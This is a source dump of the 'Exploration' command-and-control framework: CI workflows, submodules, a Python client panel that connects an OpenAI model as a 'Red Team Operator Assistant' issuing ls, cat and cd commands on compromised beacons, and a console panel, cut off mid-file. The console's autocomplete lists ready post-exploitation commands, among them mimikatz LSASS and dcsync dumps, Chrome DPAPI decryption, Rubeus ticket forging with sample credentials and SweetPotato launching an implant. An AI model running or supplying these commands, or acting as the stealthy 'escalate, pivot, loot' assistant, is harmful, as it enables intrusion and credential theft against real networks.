├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ ├── Release.yml │ └── Tests.yml ├── .gitignore ├── .gitmodules ├── C2Client ├── .gitignore ├── C2Client │ ├── .gitignore │ ├── AssistantPanel.py │ ├── Beacon │ ├── ConsolePanel.py │ ├── DropperModules.conf │ ├── DropperModules │ │ └── .gitignore │ ├── GUI.py │ ├── GraphPanel.py │ ├── ListenerPanel.py │ ├── ScriptPanel.py │ ├── Scripts │ │ ├── .gitignore │ │ ├── checkSandbox.py │ │ ├── listDirectory.py │ │ ├── startListenerHttp8443.py │ │ └── template.py.example │ ├── SessionPanel.py │ ├── TerminalModules │ │ ├── Batcave │ │ │ ├── .gitignore │ │ │ └── batcave.py │ │ ├── Credentials │ │ │ ├── .gitignore │ │ │ └── credentials.py │ │ └── __init__.py │ ├── TerminalPanel.py │ ├── __init__.py │ ├── grpcClient.py │ ├── images │ │ ├── firewall.svg │ │ ├── linux.svg │ │ ├── linuxhighpriv.svg │ │ ├── pc.svg │ │ └── windowshighpriv.svg │ ├── libGrpcMessages │ │ └── build │ │ │ └── py │ │ │ ├── TeamServerApi_pb2.py │ │ │ └── TeamServerApi_pb2_grpc.py │ └── logs │ │ └── .gitignore ├── pyproject.toml └── requirements.txt ├── CMakeLists.txt ├── LICENSE ├── README.md ├── Release ├── .gitignore ├── Beacons │ └── .gitignore ├── Modules │ └── .gitignore ├── Scripts │ └── .gitignore ├── TeamServer │ ├── .gitignore │ └── logs │ │ └── .gitignore ├── Tools │ └── .gitignore └── www │ └── .gitignore ├── certs ├── CMakeLists.txt ├── sslBeaconHttps │ └── genSslCert.sh └── sslTeamServ │ ├── ca-config.json │ ├── ca-csr.json │ ├── client-csr.json │ ├── genSslCert.sh │ └── server-csr.json ├── conan_provider.cmake ├── conanfile.txt ├── images ├── AddListener.png ├── AddListenerTypes.png ├── AssemblyExecMimikatz.png ├── Exploration1.png ├── GenerateDropper.png ├── Listeners.png ├── ListenersAndSessions.png ├── ListenersAndSessions2.png ├── NewSession.png ├── ReleaseModulesBeacons.png ├── ReleaseTeamServerClient.png ├── SessionInteract.png ├── TeamServerLaunch.png ├── architecture.drawio ├── architecture.png ├── coffDir.png └── loadModule.png ├── libs ├── CMakeLists.txt ├── libGrpcMessages │ ├── CMakeLists.txt │ ├── build │ │ └── cpp │ │ │ ├── CMakeLists.txt │ │ │ └── src │ │ │ └── .gitignore │ └── src │ │ └── TeamServerApi.proto ├── libMemoryModuleDumy │ ├── CMakeLists.txt │ ├── README.md │ ├── src │ │ ├── MemoryModule.cpp │ │ └── MemoryModule.h │ └── tests │ │ ├── CMakeLists.txt │ │ ├── Tests.cpp │ │ └── libtest.cpp └── libPipeHandlerDumy │ ├── CMakeLists.txt │ ├── README.md │ └── src │ ├── PipeHandler.cpp │ └── PipeHandler.hpp ├── majSubmodules.sh ├── teamServer ├── CMakeLists.txt ├── teamServer │ ├── TeamServer.cpp │ ├── TeamServer.hpp │ └── TeamServerConfig.json └── tests │ └── testsTestServer.cpp └── thirdParty ├── CMakeLists.txt ├── coffLoader └── CMakeLists.txt └── nlohmann └── json.hpp /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Additional context** 27 | Add any other context about the problem here. 28 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.github/workflows/Release.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | workflow_dispatch: 5 | push: 6 | tags: 7 | - '*' 8 | 9 | 10 | env: 11 | # Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.) 12 | BUILD_TYPE: Release 13 | 14 | permissions: 15 | contents: write 16 | 17 | jobs: 18 | buildAndRelease: 19 | # The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac. 20 | # You can convert this to a matrix build if you need cross-platform coverage. 21 | # See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix 22 | runs-on: ubuntu-22.04 23 | 24 | steps: 25 | - uses: actions/checkout@v4 26 | 27 | # Update references 28 | - name: Git Sumbodule Update 29 | run: | 30 | git submodule update --init 31 | 32 | # Needed to generate certificates 33 | - uses: ConorMacBride/install-package@v1 34 | with: 35 | apt: golang-cfssl 36 | 37 | - name: Get Conan 38 | # You may pin to the exact commit or the version. 39 | # uses: turtlebrowser/get-conan@c171f295f3f507360ee018736a6608731aa2109d 40 | uses: turtlebrowser/get-conan@v1.2 41 | 42 | - name: Create default profile 43 | run: conan profile detect 44 | 45 | - name: Configure CMake 46 | run: cmake -B ${{github.workspace}}/build -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake 47 | 48 | - name: Build 49 | run: cmake --build ${{github.workspace}}/build --config ${{env.BUILD_TYPE}} -j 18 50 | 51 | - name: Prep release 52 | run: | 53 | rm -rf Release/Beacons 54 | rm -f Release/Client/.gitignore 55 | rm -f Release/Client/logs/.gitignore 56 | rm -f Release/Client/libGrpcMessages/build/py/.gitignore 57 | rm -f Release/Modules/.gitignore 58 | mv ./Release/Modules/ ./Release/TeamServerModules/ 59 | rm -f Release/Scripts/.gitignore 60 | rm -f Release/TeamServer/.gitignore 61 | rm -f Release/Tools/.gitignore 62 | rm -f Release/www/.gitignore 63 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2Implant/releases/latest' | jq -r '.assets[] | select(.name=="Release.zip").browser_download_url') -O ./C2Implant.zip 64 | unzip -o C2Implant.zip 65 | rm -f C2Implant.zip 66 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2LinuxImplant/releases/latest' | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') -O ./C2LinuxImplant.tar.gz 67 | tar -zxvf C2LinuxImplant.tar.gz 68 | rm -f C2LinuxImplant.tar.gz 69 | tar -zcvf Release.tar.gz Release 70 | 71 | - name: Upload release 72 | uses: svenstaro/upload-release-action@v2 73 | with: 74 | repo_token: ${{ secrets.GITHUB_TOKEN }} 75 | file: Release.tar.gz 76 | asset_name: Release.tar.gz 77 | tag: ${{ github.ref }} 78 | overwrite: true 79 | body: "C2TeamServer client and server, include the release of C2Implant with the windows beacons and modules" 80 | -------------------------------------------------------------------------------- /.github/workflows/Tests.yml: -------------------------------------------------------------------------------- 1 | name: Tests 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | # Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.) 7 | BUILD_TYPE: Release 8 | 9 | jobs: 10 | buildAndTest: 11 | # The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac. 12 | # You can convert this to a matrix build if you need cross-platform coverage. 13 | # See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix 14 | runs-on: ubuntu-22.04 15 | 16 | steps: 17 | - uses: actions/checkout@v4 18 | 19 | # Update references 20 | - name: Git Sumbodule Update 21 | run: | 22 | git submodule update --init 23 | 24 | # Needed to generate certificates 25 | - uses: ConorMacBride/install-package@v1 26 | with: 27 | apt: golang-cfssl 28 | 29 | - name: Get Conan 30 | # You may pin to the exact commit or the version. 31 | # uses: turtlebrowser/get-conan@c171f295f3f507360ee018736a6608731aa2109d 32 | uses: turtlebrowser/get-conan@v1.2 33 | 34 | - name: Create default profile 35 | run: conan profile detect 36 | 37 | - name: Configure CMake for tests 38 | run: cmake -B ${{github.workspace}}/build -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake 39 | 40 | - name: Build for test 41 | run: cmake --build ${{github.workspace}}/build -j 18 42 | 43 | - name: Run unit tests 44 | run: ctest --test-dir build 45 | 46 | - name: Configure CMake like the release 47 | run: cmake -B ${{github.workspace}}/buildRelease -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake 48 | 49 | - name: Build like the release 50 | run: cmake --build ${{github.workspace}}/buildRelease -j 18 51 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | Tests 2 | C2Client/build/ 3 | .vscode 4 | build/ -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "thirdParty/base64"] 2 | path = thirdParty/base64 3 | url = https://github.com/ReneNyffenegger/cpp-base64.git 4 | [submodule "thirdParty/donut"] 5 | path = thirdParty/donut 6 | url = https://github.com/maxDcb/donut.git 7 | [submodule "thirdParty/coffLoader/coffLoader"] 8 | path = thirdParty/coffLoader/coffLoader 9 | url = https://github.com/maxDcb/COFFLoader.git 10 | [submodule "thirdParty/coffLoader/coffPacker"] 11 | path = thirdParty/coffLoader/coffPacker 12 | url = https://github.com/maxDcb/COFFPacker.git 13 | [submodule "core"] 14 | path = core 15 | url = https://github.com/maxDcb/C2Core.git 16 | [submodule "libs/libDns"] 17 | path = libs/libDns 18 | url = https://github.com/maxDcb/Dnscommunication 19 | [submodule "libs/libSocks5"] 20 | path = libs/libSocks5 21 | url = https://github.com/maxDcb/libSocks5.git 22 | [submodule "libs/libSocketHandler"] 23 | path = libs/libSocketHandler 24 | url = https://github.com/maxDcb/libSocketHandler.git 25 | -------------------------------------------------------------------------------- /C2Client/.gitignore: -------------------------------------------------------------------------------- 1 | C2Client.egg-info 2 | C2Client/__pycache__ -------------------------------------------------------------------------------- /C2Client/C2Client/.gitignore: -------------------------------------------------------------------------------- 1 | .termHistory 2 | .cmdHistory 3 | *.exe 4 | *.dll -------------------------------------------------------------------------------- /C2Client/C2Client/AssistantPanel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import logging 4 | import importlib 5 | from datetime import datetime 6 | 7 | from threading import Thread, Lock, Semaphore 8 | from PyQt5.QtWidgets import * 9 | from PyQt5.QtGui import * 10 | from PyQt5.QtCore import * 11 | 12 | from grpcClient import * 13 | 14 | import openai 15 | from openai import OpenAI 16 | 17 | import json 18 | 19 | 20 | # 21 | # Assistant tab implementation 22 | # 23 | class Assistant(QWidget): 24 | tabPressed = pyqtSignal() 25 | logFileName="" 26 | sem = Semaphore() 27 | 28 | def __init__(self, parent, grpcClient): 29 | super(QWidget, self).__init__(parent) 30 | self.layout = QVBoxLayout(self) 31 | self.layout.setContentsMargins(0, 0, 0, 0) 32 | 33 | self.grpcClient = grpcClient 34 | 35 | # self.logFileName=LogFileName 36 | 37 | self.editorOutput = QPlainTextEdit() 38 | self.editorOutput.setFont(QFont("Courier")); 39 | self.editorOutput.setReadOnly(True) 40 | self.layout.addWidget(self.editorOutput, 8) 41 | 42 | self.commandEditor = CommandEditor() 43 | self.layout.addWidget(self.commandEditor, 2) 44 | self.commandEditor.returnPressed.connect(self.runCommand) 45 | 46 | system_prompt = { 47 | "role": "system", 48 | "content": ( 49 | """You are a Red Team Operator Assistant embedded in the "Exploration" C2 framework. 50 | You operate in offensive security engagements and support operators by reasoning over command output from enumeration before getting a foothold and compromised machines and suggesting the next best actions. 51 | You also point out security gaps that could be leveraged. You understand operational security (OPSEC), red teaming tactics, post-exploitation phases, and tradecraft. 52 | 53 | ## Context: 54 | - Exploration C2 framework run on a kali machine 55 | - You will be fed output from commands previously ran. 56 | - All tools available on a kali machine can use used 57 | 58 | ## Instructions: 59 | - Suggest only what makes tactical sense based on the output provided. 60 | - Prioritize stealth and minimal footprint. 61 | - Chain commands where appropriate to complete an objective (e.g., escalate, pivot, loot). 62 | - When unclear, ask the operator for additional context instead of assuming.""" 63 | ) 64 | } 65 | 66 | # Initialize message history with the system prompt 67 | self.messages = [system_prompt] 68 | 69 | # Maximum number of messages to retain 70 | self.MAX_MESSAGES = 20 71 | 72 | 73 | def nextCompletion(self): 74 | index = self._compl.currentIndex() 75 | self._compl.popup().setCurrentIndex(index) 76 | start = self._compl.currentRow() 77 | if not self._compl.setCurrentRow(start + 1): 78 | self._compl.setCurrentRow(0) 79 | 80 | 81 | def sessionAssistantMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 82 | if action == "start": 83 | print("sessionAssistantMethod", action, beaconHash) 84 | self.messages.append({"role": "user", "content": "New session stared: beaconHash={}, listenerHash={}, hostname={}, username={}, privilege={}, os={}.".format(beaconHash, listenerHash, hostname, username, privilege, os) }) 85 | elif action == "stop": 86 | toto = 1 87 | elif action == "update": 88 | toto = 1 89 | 90 | 91 | def listenerAssistantMethod(self, action, hash, str3, str4): 92 | print("listenerAssistantMethod", action, hash) 93 | if action == "start": 94 | toto = 1 95 | elif action == "stop": 96 | toto = 1 97 | 98 | 99 | def consoleAssistantMethod(self, action, beaconHash, listenerHash, context, cmd, result): 100 | if action == "receive": 101 | print("consoleAssistantMethod", "-Context:\n" + context + "\n\n-Command sent:\n" + cmd + "\n\n-Response:\n" + result) 102 | self.messages.append({"role": "user", "content": cmd + "\n" + result}) 103 | elif action == "send": 104 | toto = 1 105 | 106 | 107 | def event(self, event): 108 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab: 109 | self.tabPressed.emit() 110 | return True 111 | return super().event(event) 112 | 113 | 114 | def printInTerminal(self, cmd, result): 115 | now = datetime.now() 116 | formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' 117 | 118 | self.sem.acquire() 119 | if cmd: 120 | self.editorOutput.appendHtml(formater.format(cmd)) 121 | self.editorOutput.insertPlainText("\n") 122 | if result: 123 | self.editorOutput.insertPlainText(result) 124 | self.editorOutput.insertPlainText("\n") 125 | self.sem.release() 126 | 127 | 128 | def runCommand(self): 129 | commandLine = self.commandEditor.displayText() 130 | self.commandEditor.clearLine() 131 | self.setCursorEditorAtEnd() 132 | 133 | if commandLine == "": 134 | self.printInTerminal("", "") 135 | 136 | else: 137 | 138 | function_spec_ls = { 139 | "name": "ls", 140 | "description": "List the contents of a specified directory on a specific beacon.", 141 | "parameters": { 142 | "type": "object", 143 | "properties": { 144 | "beacon_hash": { 145 | "type": "string", 146 | "description": "The unique hash identifying the beacon to execute the command on" 147 | }, 148 | "listener_hash": { 149 | "type": "string", 150 | "description": "The unique hash identifying the listener at which the beacon is connected" 151 | }, 152 | "path": { 153 | "type": "string", 154 | "description": "The path of the directory to list. If omitted, uses the current working directory.", 155 | "default": "." 156 | } 157 | }, 158 | "required": ["beacon_hash", "listener_hash", "path"] 159 | } 160 | } 161 | 162 | function_spec_cd = { 163 | "name": "cd", 164 | "description": "Change the working directory for subsequent module execution or file operations on a specific beacon.", 165 | "parameters": { 166 | "type": "object", 167 | "properties": { 168 | "beacon_hash": { 169 | "type": "string", 170 | "description": "The unique hash identifying the beacon to execute the command on" 171 | }, 172 | "listener_hash": { 173 | "type": "string", 174 | "description": "The unique hash identifying the listener at which the beacon is connected" 175 | }, 176 | "path": { 177 | "type": "string", 178 | "description": "Absolute or relative path to change to (e.g., '../modules', '/tmp')." 179 | } 180 | }, 181 | "required": ["beacon_hash", "listener_hash", "path"] 182 | } 183 | } 184 | 185 | function_spec_cat = { 186 | "name": "cat", 187 | "description": "Read and return the contents of a specified file on disk on a specific beacon.", 188 | "parameters": { 189 | "type": "object", 190 | "properties": { 191 | "beacon_hash": { 192 | "type": "string", 193 | "description": "The unique hash identifying the beacon to execute the command on" 194 | }, 195 | "listener_hash": { 196 | "type": "string", 197 | "description": "The unique hash identifying the listener at which the beacon is connected" 198 | }, 199 | "path": { 200 | "type": "string", 201 | "description": "Absolute or relative path to the file (e.g., './modules/shellcode.bin', '/etc/hosts')." 202 | } 203 | }, 204 | "required": ["beacon_hash", "listener_hash", "path"] 205 | } 206 | } 207 | 208 | function_spec_pwd = { 209 | "name": "pwd", 210 | "description": "Return the current working directory path on a specific beacon.", 211 | "parameters": { 212 | "type": "object", 213 | "properties": { 214 | "beacon_hash": { 215 | "type": "string", 216 | "description": "The unique hash identifying the beacon to execute the command on" 217 | }, 218 | "listener_hash": { 219 | "type": "string", 220 | "description": "The unique hash identifying the listener at which the beacon is connected" 221 | } 222 | } 223 | }, 224 | "required": ["beacon_hash", "listener_hash"] 225 | } 226 | 227 | function_spec_tree = { 228 | "name": "tree", 229 | "description": "Recursively display the directory structure of a specified path on a specific beacon in a tree-like format.", 230 | "parameters": { 231 | "type": "object", 232 | "properties": { 233 | "beacon_hash": { 234 | "type": "string", 235 | "description": "The unique hash identifying the beacon to execute the command on" 236 | }, 237 | "listener_hash": { 238 | "type": "string", 239 | "description": "The unique hash identifying the listener at which the beacon is connected" 240 | }, 241 | "path": { 242 | "type": "string", 243 | "description": "The root directory path to start the tree traversal. If omitted, uses the current working directory.", 244 | "default": "." 245 | } 246 | }, 247 | "required": ["beacon_hash", "listener_hash", "path"] 248 | } 249 | } 250 | 251 | api_key = os.environ.get("OPENAI_API_KEY") 252 | 253 | if api_key: 254 | client = OpenAI( 255 | # This is the default and can be omitted 256 | api_key=api_key, 257 | ) 258 | 259 | # Add user command output 260 | self.messages.append({"role": "user", "content": commandLine}) 261 | 262 | if len(self.messages) > self.MAX_MESSAGES * 2 + 1: 263 | # Always keep the first message (system prompt) 264 | system_prompt = self.messages[0] 265 | recent_messages = self.messages[-(self.MAX_MESSAGES * 2):] 266 | self.messages = [system_prompt] + recent_messages 267 | 268 | try: 269 | # Call OpenAI API 270 | response = client.chat.completions.create( 271 | model="gpt-4o", 272 | # model="gpt-3.5-turbo-1106", # test 273 | messages=self.messages, 274 | functions=[function_spec_ls, function_spec_cd, function_spec_cat, function_spec_pwd, function_spec_tree], 275 | function_call="auto", 276 | temperature=0.05 277 | ) 278 | 279 | self.printInTerminal("User:", commandLine) 280 | 281 | message = response.choices[0].message 282 | print(message) 283 | 284 | function_call = message.function_call 285 | if function_call: 286 | name = function_call.name 287 | args = json.loads(function_call.arguments) 288 | print(f"Model wants to call `{name}` with arguments: {args}") 289 | 290 | self.printInTerminal("Analysis:", f"Model wants to call `{name}` with arguments: {args}") 291 | 292 | self.executeCmd(name, args) 293 | 294 | 295 | assistant_reply = message.content 296 | if assistant_reply: 297 | self.printInTerminal("Analysis:", assistant_reply) 298 | 299 | # Add assistant's response to conversation 300 | self.messages.append({"role": "assistant", "content": assistant_reply}) 301 | 302 | except openai.APIConnectionError as e: 303 | print(f"Server connection error: {e.__cause__}") 304 | 305 | except openai.RateLimitError as e: 306 | print(f"OpenAI RATE LIMIT error {e.status_code}: {e.response}") 307 | 308 | except openai.APIStatusError as e: 309 | print(f"OpenAI STATUS error {e.status_code}: {e.response}") 310 | 311 | except openai.BadRequestError as e: 312 | print(f"OpenAI BAD REQUEST error {e.status_code}: {e.response}") 313 | 314 | except Exception as e: 315 | print(f"An unexpected error occurred: {e}") 316 | 317 | else: 318 | self.printInTerminal("OPENAI_API_KEY is not set, functionality deactivated.", "") 319 | 320 | 321 | self.setCursorEditorAtEnd() 322 | 323 | 324 | def executeCmd(self, cmd, args): 325 | 326 | if cmd == "ls": 327 | beacon_hash = args["beacon_hash"] 328 | listener_hash = args["listener_hash"] 329 | path = args["path"] 330 | commandLine = "ls " + path 331 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine) 332 | result = self.grpcClient.sendCmdToSession(command) 333 | if result.message: 334 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore")) 335 | 336 | elif cmd == "tree": 337 | beacon_hash = args["beacon_hash"] 338 | listener_hash = args["listener_hash"] 339 | path = args["path"] 340 | commandLine = "tree " + path 341 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine) 342 | result = self.grpcClient.sendCmdToSession(command) 343 | if result.message: 344 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore")) 345 | 346 | elif cmd == "cd": 347 | beacon_hash = args["beacon_hash"] 348 | listener_hash = args["listener_hash"] 349 | path = args["path"] 350 | commandLine = "cd " + path 351 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine) 352 | result = self.grpcClient.sendCmdToSession(command) 353 | if result.message: 354 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore")) 355 | 356 | elif cmd == "cat": 357 | beacon_hash = args["beacon_hash"] 358 | listener_hash = args["listener_hash"] 359 | path = args["path"] 360 | commandLine = "cat " + path 361 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine) 362 | result = self.grpcClient.sendCmdToSession(command) 363 | if result.message: 364 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore")) 365 | 366 | elif cmd == "pwd": 367 | beacon_hash = args["beacon_hash"] 368 | listener_hash = args["listener_hash"] 369 | commandLine = "pwd" 370 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine) 371 | result = self.grpcClient.sendCmdToSession(command) 372 | if result.message: 373 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore")) 374 | 375 | else: 376 | raise ValueError("Unsupported command type") 377 | 378 | return 379 | 380 | 381 | # setCursorEditorAtEnd 382 | def setCursorEditorAtEnd(self): 383 | cursor = self.editorOutput.textCursor() 384 | cursor.movePosition(QTextCursor.End,) 385 | self.editorOutput.setTextCursor(cursor) 386 | 387 | 388 | class CommandEditor(QLineEdit): 389 | tabPressed = pyqtSignal() 390 | cmdHistory = [] 391 | idx = 0 392 | 393 | def __init__(self, parent=None): 394 | super().__init__(parent) 395 | 396 | QShortcut(Qt.Key_Up, self, self.historyUp) 397 | QShortcut(Qt.Key_Down, self, self.historyDown) 398 | 399 | # self.codeCompleter = CodeCompleter(completerData, self) 400 | # # needed to clear the completer after activation 401 | # self.codeCompleter.activated.connect(self.onActivated) 402 | # self.setCompleter(self.codeCompleter) 403 | # self.tabPressed.connect(self.nextCompletion) 404 | 405 | def nextCompletion(self): 406 | index = self.codeCompleter.currentIndex() 407 | self.codeCompleter.popup().setCurrentIndex(index) 408 | start = self.codeCompleter.currentRow() 409 | if not self.codeCompleter.setCurrentRow(start + 1): 410 | self.codeCompleter.setCurrentRow(0) 411 | 412 | def event(self, event): 413 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab: 414 | self.tabPressed.emit() 415 | return True 416 | return super().event(event) 417 | 418 | def historyUp(self): 419 | if(self.idx=0): 420 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 421 | self.idx=max(self.idx-1,0) 422 | self.setText(cmd.strip()) 423 | 424 | def historyDown(self): 425 | if(self.idx=0): 426 | self.idx=min(self.idx+1,len(self.cmdHistory)-1) 427 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 428 | self.setText(cmd.strip()) 429 | 430 | def setCmdHistory(self): 431 | cmdHistoryFile = open('.termHistory') 432 | self.cmdHistory = cmdHistoryFile.readlines() 433 | self.idx=len(self.cmdHistory)-1 434 | cmdHistoryFile.close() 435 | 436 | def clearLine(self): 437 | self.clear() 438 | 439 | def onActivated(self): 440 | QTimer.singleShot(0, self.clear) 441 | 442 | 443 | class CodeCompleter(QCompleter): 444 | ConcatenationRole = Qt.UserRole + 1 445 | 446 | def __init__(self, data, parent=None): 447 | super().__init__(parent) 448 | self.createModel(data) 449 | 450 | def splitPath(self, path): 451 | return path.split(' ') 452 | 453 | def pathFromIndex(self, ix): 454 | return ix.data(CodeCompleter.ConcatenationRole) 455 | 456 | def createModel(self, data): 457 | def addItems(parent, elements, t=""): 458 | for text, children in elements: 459 | item = QStandardItem(text) 460 | data = t + " " + text if t else text 461 | item.setData(data, CodeCompleter.ConcatenationRole) 462 | parent.appendRow(item) 463 | if children: 464 | addItems(item, children, data) 465 | model = QStandardItemModel(self) 466 | addItems(model, data) 467 | self.setModel(model) 468 | -------------------------------------------------------------------------------- /C2Client/C2Client/Beacon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/C2Client/C2Client/Beacon -------------------------------------------------------------------------------- /C2Client/C2Client/ConsolePanel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | from datetime import datetime 5 | from threading import Thread, Lock 6 | from PyQt5.QtWidgets import * 7 | from PyQt5.QtGui import * 8 | from PyQt5.QtCore import * 9 | 10 | from grpcClient import * 11 | 12 | from TerminalPanel import * 13 | from ScriptPanel import * 14 | from AssistantPanel import * 15 | 16 | sys.path.insert(1, './Credentials') 17 | import credentials 18 | 19 | 20 | # 21 | # Log 22 | # 23 | try: 24 | import pkg_resources 25 | logsDir = pkg_resources.resource_filename( 26 | 'C2Client', 27 | 'logs' 28 | ) 29 | 30 | except ImportError: 31 | logsDir = os.path.join(os.path.dirname(__file__), 'logs') 32 | 33 | if not os.path.exists(logsDir): 34 | os.makedirs(logsDir) 35 | 36 | 37 | # 38 | # Constant 39 | # 40 | TerminalTabTitle = "Terminal" 41 | CmdHistoryFileName = ".cmdHistory" 42 | 43 | HelpInstruction = "help" 44 | SleepInstruction = "sleep" 45 | EndInstruction = "end" 46 | ListenerInstruction = "listener" 47 | LoadModuleInstruction = "loadModule" 48 | 49 | AssemblyExecInstruction = "assemblyExec" 50 | UploadInstruction = "upload" 51 | RunInstruction = "run" 52 | DownloadInstruction = "download" 53 | InjectInstruction = "inject" 54 | ScriptInstruction = "script" 55 | PwdInstruction = "pwd" 56 | CdInstruction = "cd" 57 | LsInstruction = "ls" 58 | PsInstruction = "ps" 59 | CatInstruction = "cat" 60 | TreeInstruction = "tree" 61 | MakeTokenInstruction = "makeToken" 62 | Rev2selfInstruction = "rev2self" 63 | StealTokenInstruction = "stealToken" 64 | CoffLoaderInstruction = "coffLoader" 65 | UnloadModuleInstruction = "unloadModule" 66 | KerberosUseTicketInstruction = "kerberosUseTicket" 67 | PowershellInstruction = "powershell" 68 | ChiselInstruction = "chisel" 69 | PsExecInstruction = "psExec" 70 | WmiInstruction = "wmiExec" 71 | SpawnAsInstruction = "spawnAs" 72 | EvasionInstruction = "evasion" 73 | KeyLoggerInstruction = "keyLogger" 74 | MiniDumpInstruction = "miniDump" 75 | DotnetExecInstruction = "dotnetExec" 76 | 77 | StartInstruction = "start" 78 | StopInstruction = "stop" 79 | 80 | completerData = [ 81 | (HelpInstruction,[]), 82 | (SleepInstruction,[]), 83 | (EndInstruction,[]), 84 | (ListenerInstruction,[ 85 | (StartInstruction+' smb pipename',[]), 86 | (StartInstruction+' tcp 127.0.0.1 4444',[]), 87 | (StopInstruction, []), 88 | ]), 89 | (AssemblyExecInstruction,[ 90 | ('-e',[ 91 | ('mimikatz.exe',[ 92 | ('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]), 93 | ('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]), 94 | ('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]), 95 | ('"sekurlsa::logonpasswords" "exit"', []), 96 | ('"sekurlsa::ekeys" "exit"', []), 97 | ('"lsadump::sam" "exit"', []), 98 | ('"lsadump::cache" "exit"', []), 99 | ('"lsadump::secrets" "exit"', []), 100 | ('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []), 101 | ('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []), 102 | ('"sekurlsa::dpapi" "exit"', []), 103 | ('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []), 104 | ]), 105 | 106 | ('SharpView.exe Get-DomainComputer', []), 107 | ('Rubeus.exe',[ 108 | ('triage',[]), 109 | ('purge',[]), 110 | ('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []), 111 | ('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []), 112 | ]), 113 | ('Seatbelt.exe',[ 114 | ('-group=system',[]), 115 | ('-group=user',[]), 116 | ]), 117 | ('SharpHound.exe -c All -d dev.admin.offshore.com', []), 118 | ('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []), 119 | ]), 120 | ]), 121 | (UploadInstruction,[]), 122 | (RunInstruction,[ 123 